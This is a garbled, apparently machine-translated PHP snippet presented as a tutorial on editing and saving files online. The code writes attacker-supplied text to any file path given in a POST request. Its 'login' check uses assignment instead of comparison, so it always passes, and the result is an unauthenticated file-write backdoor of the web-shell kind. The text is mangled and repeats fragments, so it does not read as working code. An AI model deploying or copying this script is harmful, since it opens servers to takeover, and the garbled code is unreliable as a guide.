Simple php online editing and saving php file implementation code. Simple php Tutorial online editing save php file implementation code * if ($ _ get [login] fuying) {header (content-type: texthtml; charsetgb2312); if (get_magic_quotes_gpc ()) foreach ($ _ posta simple php Tutorial online editing save php file implementation code
*/
If ($ _ get ['login'] = 'fuyun '){
Header ("content-type: text/html; charset = gb2312 ");
If (get_magic_quotes_gpc () foreach ($ _ post as $ k => $ v) $ _ post [$ k] = strips tutorial lashes ($ v );
?>
Save:
If (isset ($ _ post ['file'])
{
$ Fp = @ fopen ($ _ post ['file'], 'wb ');
Echo @ fwrite ($ fp, $ _ post ['text'])? 'Succed! ': 'Faled! ';
@ Fclose ($ fp );
}
}
Optional */if ($ _ get ['login'] = 'fuyun ') {header (content-type: text/html; charset = gb2312 ); if (get_magic_quotes_gpc () foreach ($ _ post...